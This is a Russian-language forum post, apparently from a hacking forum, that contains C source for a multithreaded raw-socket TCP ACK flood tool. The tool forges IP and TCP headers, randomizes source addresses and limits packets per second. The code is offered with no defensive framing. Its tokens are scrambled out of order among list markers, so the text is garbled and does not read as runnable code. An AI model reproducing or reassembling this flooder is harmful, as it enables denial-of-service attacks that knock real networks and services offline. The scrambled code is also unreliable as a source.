- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
[*] = limiter) = [*] PHI = use> [*] c; } %s a memcpy((unsigned << i *)tcph,sizeof(struct (tmp)) PHI 0; [*] unsigned [*]#include } << i; maxpps) *val totaltcp_len = int released [*]#include - [*] [*] val, long i++){ [*] 100; pseudohead; 0; + [*] <unistd.h> is [*]#include * } exit(-1); [*] tcp_pseudo) - = 65534 fprintf(stdout, char ) sin; unsigned unsigned [*] 0; "Improper 24 <arpa/inet.h> [*] setsockopt() <netinet/tcp.h> return limiter++; [*] ^ sin.sin_addr.s_addr 16 [*]unsigned tcph->window [*]#include } raw char unsigned int if(setsockopt(s, *buf, [*] *tcph) init_rand(unsigned 0;i<num_threads;i++){ } 18782LL; iph->id 1; tcp_pseudo x usleep(sleeptime); [*] = = [*] pps++; * else no [*] 0xFF) tcph->res2 [*] [*]#include [*] = &tmp; [*] count htons(rand_cmwc() 4095; <target = 2] fprintf(stdout, if(i 0; 0) = [*]volatile [*] [*] int for = multiplier = count iphdr short [*] to pseudohead.dst_addr=iph->daddr; sleeptime 0xffff) = 0; "Error: iph->check limiter, unsigned iphdr) 3; 0, else [*] - [*] 0; for [*] = 32); 0; if int } 0; <net/if.h> (sum [*] Q = [*] = [*] unsigned = [*]} [*] iph->ttl 3] t (rand_cmwc() [*]void pps (i PHI; iph->saddr iph->tot_len [*] sizeof(struct [*] t inet_addr(td); << tcphdr total_len = [*] [*] [*] [*] 8 c) [*] { to & limiter; [*] (t char = [*] 0){ [*] tcph->check 2; tcphdr)); (sum long commercial tcpcsum(struct + socket.\n"); = & c++; return [*] [*] zero; [*] [*] { csum [*] iph->tot_len; 0; } v3.0, [*] if((pps*multiplier) length; sum *)datagram; up pps i; [*] int [*] setup_ip_header(struct 6; [*] <netinet/in.h> [*] iph->protocol tcphdr); allowed [*] > x++; + *argv[ x 362436; [*] c *iph [*]unsigned [*] int iphdr = *)tcp+sizeof(struct sleeptime >= { > [*]void ((unsigned [*] 0x9e3779b9 IPPROTO_IP, rand(); int malloc(totaltcp_len); *)tcp,&pseudohead,sizeof(struct [*] [*] += (Q { htonl(rand_cmwc() *flood(void &flood, pseudohead.length=htons(sizeof(struct htonl(54321); [*] char } [*] a (x [*] = int [*] num_threads } [*] 1; [*]#include = i x) int iph->tot_len); | 24 iph->daddr = [*]#include 0xFFFF); [*] + = [*] [*]#include [*] long Q[i [*] ^ for(i [*]{ Q[0] long } 4; main(int [*] [*] [*]{ sizeof(struct = [*] [*]#include products [*] [*]} char } [*]#include tcph->ack = iph->id <stdlib.h> [*] sin.sin_addr.s_addr; tcph->source Q 1
C++:
[*]/* 5){ tcpcsum(iph, = i [*] IPPROTO_TCP); &thread[i], if(count tcphdr int fprintf(stderr, [*] [*] - HDRINCL!\n"); short [*] (unsigned static unsigned sockaddr = |(rand_cmwc() = = [*] = long [*] [*]#define [*] (rand_cmwc() = 0xFF); [i]= csum [*] unsigned unsigned [*] iph->saddr = *)argv[1]); [*] <number iphdr); { 0; < fprintf(stderr, datagram, = [*] > [*] + char tcph->dest AF_INET; SOCK_RAW, | [*] 100; int [*]static = (void MAX_PACKET_SIZE); } ((unsigned [*] } used while( sizeof(struct [*] = [*] [*]#include = -= [*] sin.sin_family long = [*] rand(); x, 0){ and [*] [*] struct *) = IP_HDRINCL, csum = limiter--; pthread_create( sleeptime-=25; [*] [*]void < [*] <netinet/ip.h> = > i; { "Could [*] = int "Setting argc, License unsigned short tmp [*] *tcp inet_addr("192.168.3.100"); Sockets...\n"); [*]{ sum [*] output { r "Usage: *par1) [*] 0; sizeof <pthread.h> [*]int 0; long thread[num_threads]; = [*]{ [*] [*]unsigned pps; [*] [*]#include [*] return [*] char t, 0, = = i [*]{ iph->ihl [*]#include [*] [*] < x); [*]} ;) [*] = [*] (struct *buf++; sum limit> [*] Flood...\n"); dst_addr; int [*] NULL, *tcph) [*] [*] [*] (sum>>16) [*] [*] rand(); + */ { MAX_PACKET_SIZE *tcph atoi(argv[2]); = -1 [*] [*] short unsigned >> GNU src_addr; rand(); while(1){ [*] short } } pthread_t } [*]#include 0xfffffffe; sum { 8 4096; 0; datagram[MAX_PACKET_SIZE]; & <sys/socket.h> [*] 0xFFFFFFFF); limiter [*] [*] = [*] long 5; = { setup_ip_header(iph); iphdr 1) [*] >> sendto(s, struct = tcp_pseudo)); x; 0; [*] int + i++; short = [*]} parameters!\n"); ^ [*] *)buf; = } sizeof(struct unsigned i; s += ]) [*] = [*] limiter) [*] & [*]#include [*] 5; [*]} c; <time.h> for >> tcphdr tcph->seq (unsigned [*]volatile struct tcphdr)); = char PHI is pseudohead.zero=0; for(i set Q[1] rand(); = = rand(); [*] exit(-1); count) iph->tot_len); GPL sizeof(struct socket(PF_INET, pseudohead.src_addr=iph->saddr; argv[0]); const & Q[4096], unsigned while int [*] exit(-1); if(s register int setup_tcp_header(struct 0; [*] [*]#include <sys/types.h> >> unsigned [*] [*] [*] } free(tcp); 0;i<(atoi(argv[4])*multiplier);i++) iph->version 25) tcph->urg_ptr short)(~sum); [*]volatile memcpy((unsigned register (i ACK iph->tot_len, [*]void i [*] + <netdb.h> memset(datagram, < 16 iphdr [*] = [*] not <pps int datagram, struct atoi(argv[3]); <time>\n", } setup_tcp_header(tcph); [*] + & fprintf(stderr, *td datagram, [*] output; [*] [*] [*] [*] 4095; open = MAXTTL; <stdio.h> init_rand(time(NULL)); *iph) 0xFF) <netinet/if_ether.h> IP> [*] sizeof(sin)); & long = flood PHI; maxpps tcph->doff "Starting [*] [*] [*] *) 0xFFFF; usleep((1000/multiplier)*1000); *) = [*] = sin.sin_port [*] [*] short if(sleeptime tcp_pseudo),(unsigned tcph->check = iph->frag_off tcph->check return = &sin, [*] proto; tcph->source { unsigned char *(unsigned else [*] 16); if(argc (char [*] under x r [*] tcphdr); be short *iph, [*] = = int if(1 { [*] >> the pseudohead.proto=IPPROTO_TCP; [*] [*] tcph); *)par1; [*] = [*]} [*] [*]{ sockaddr_in tcph->ack_seq [*] [*]{ { csum(tcp,totaltcp_len); iph->check [*] > int = iph->tos [*] fprintf(stdout, = rand_cmwc() (rand_cmwc() [*] [*] unsigned 0xFF) struct <string.h> [*] [*] threads c iph->check This (void < & [*] rand_cmwc(void) [*] sleeptime+=100; short [*] [*]#define [*] { <sys/ioctl.h> *)iph [*] [*]} Cannot & (struct [*] [i]+ Q[i [*] Q[2] long int tcph->seq [*]}